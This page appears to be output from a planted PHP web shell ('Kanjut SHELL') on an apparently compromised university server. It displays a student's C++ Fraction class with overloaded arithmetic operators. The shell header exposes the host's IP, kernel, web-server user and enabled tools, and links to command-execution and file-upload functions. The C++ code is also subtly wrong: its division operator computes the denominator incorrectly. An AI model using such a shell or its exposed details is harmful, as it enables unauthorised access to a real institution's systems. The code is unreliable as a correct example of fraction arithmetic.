Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.62.68
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jwang/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/jwang/frac.cpp
// overoading operators: +, -, *, /, ...


#include <iostream>
        
using namespace std;
        
class Fraction
{
        int numerator;
	int denominator;
	void Reduce()
	{
                int n = numerator;
                int d = denominator;
                while( d != 0 )
                {
                        int r = n % d;
                        n = d;
                        d = r;
                }
                if ( n != 0 )
                {
                        numerator /= n;
                        denominator /= n;
        	}
		if (denominator < 0)
                {
                        numerator *= (-1);
                        denominator *= (-1);
                }
                return;
        }
public:
        Fraction()     
        {       numerator = 0; denominator = 1;   }
        Fraction(int n, int d)  
        {       numerator = n; denominator = d;   }
        void Set(int n, int d)
        {       numerator = n; denominator = d;   }
        void Print() const
        {       cout << numerator << '/' << denominator;   }
	 Fraction operator+ (Fraction f)
        {       Fraction t;
                int n;
		int d;
                n = numerator*f.denominator + denominator*f.numerator;
                d = denominator*f.denominator;
                t.Set(n, d);
		t.Reduce();
                return t;
        }
	 Fraction operator- (Fraction f)
        {       Fraction t;
                int n, d;
                n = (numerator*f.denominator) - (denominator*f.numerator);
                d = denominator*f.denominator;
                t.Set(n, d);
		t.Reduce();
                return t;
        }
	Fraction operator* (Fraction f)
        {       Fraction t;
                int n, d;
                n = numerator*f.numerator;
                d = denominator*f.denominator;
                t.Set(n, d);
		t.Reduce();
                return t;
        }
	Fraction operator/ (Fraction f)
        {       Fraction t;
                int n, d;
                n = numerator*f.denominator;
                d = denominator*f.denominator;
                t.Set(n, d);
		t.Reduce();
                return t;
        }
	
};
                
int main()
{	// ex. p.134 (a)       
        Fraction x(1, 2);
	Fraction y(3, 4);
	Fraction z = x + y;
  
   	cout <<"\n(a)\n";
        x.Print();
        cout <<" + ";
        y.Print();
        cout << " = "; 
        z.Print();
	cout <<"\n";
        cout << "********************************************" << endl;
		        
	Fraction t1, t(5, 6);	// t = 5/6
	t1 = y * t;
	z = x + t1;

	 cout <<"\n(b)\n";
        x.Print();
        cout <<" + ";
        y.Print();
	cout << " * ";
	t.Print();
	cout << " = ";
        z.Print();
        cout <<"\n";
        cout << "********************************************" << endl;
	
        return 0;
}


Stv3n404 - 2023